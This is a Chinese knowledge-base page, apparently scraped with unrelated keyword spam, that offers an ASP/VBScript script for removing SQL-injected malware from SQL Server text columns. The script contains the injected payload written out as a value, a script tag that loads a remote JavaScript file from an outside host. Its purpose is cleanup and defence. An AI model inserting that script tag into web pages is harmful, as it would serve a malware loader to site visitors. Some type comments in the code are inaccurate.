主页 > 知识库 > 恢复 SQL 被注入后的数据代码

恢复 SQL 被注入后的数据代码

热门标签:漯河电销回拨外呼系统 城市地图标志怎么标注 硅基电话机器人官网 合肥crm外呼系统加盟 长沙外呼系统平台 电话机器人怎么看余额 怎么修改高德地图标注 西安电话自动外呼系统 美国地图标注软件下载
%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
!--#include file="Inc/conn.asp"-->
meta http-equiv="Content-Type" content="text/html; charset=gb2312">
%
server.ScriptTimeout = 1000000
'xtype=99 ntext 与text类型相似,不同的是,ntext类型采用unicode标准字符集。
'xtype=35 text 用于存储大量文本数据。
'xtype=231 nvarchar 用来定义可变长度的二进制数据,最大长度为4000个字符。
'xtype=167 varchar 存储最常可以达到8000个字符的变长的字符数据
str = "'script src="http://e6t.3322.org/c.js" src="http://e6t.3322.org/c.js">/script>'" '加在文本类型字段后的木马代码
sql = "SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)"
set rs = conn.execute(sql)
while Not rs.eof
t_name = rs("t_name") '表名
c_name = rs("c_name") '字段名
xtype = rs("xtype") '字段类型
If (xtype = 99 Or xtype = 35) then
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace(cast([" + c_name + "] as varchar(8000)), " + str + ", '')")
Else
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace([" + c_name + "], " + str + ", '')")
End If
rs.movenext
wend
response.Write("已经初步清理了挂马数据,请重新刷新页面试试看!")
%>

标签:玉溪 广西 商洛 泸州 文山 抚顺 济源 吉林

巨人网络通讯声明:本文标题《恢复 SQL 被注入后的数据代码》,本文关键词  恢复,SQL,被,注入,后的,数据,;如发现本文内容存在版权问题,烦请提供相关信息告之我们,我们将及时沟通与处理。本站内容系统采集于网络,涉及言论、版权与本站无关。
  • 相关文章
  • 下面列出与本文章《恢复 SQL 被注入后的数据代码》相关的同类信息!
  • 本页收集关于恢复 SQL 被注入后的数据代码的相关信息资讯供网民参考!
  • 推荐文章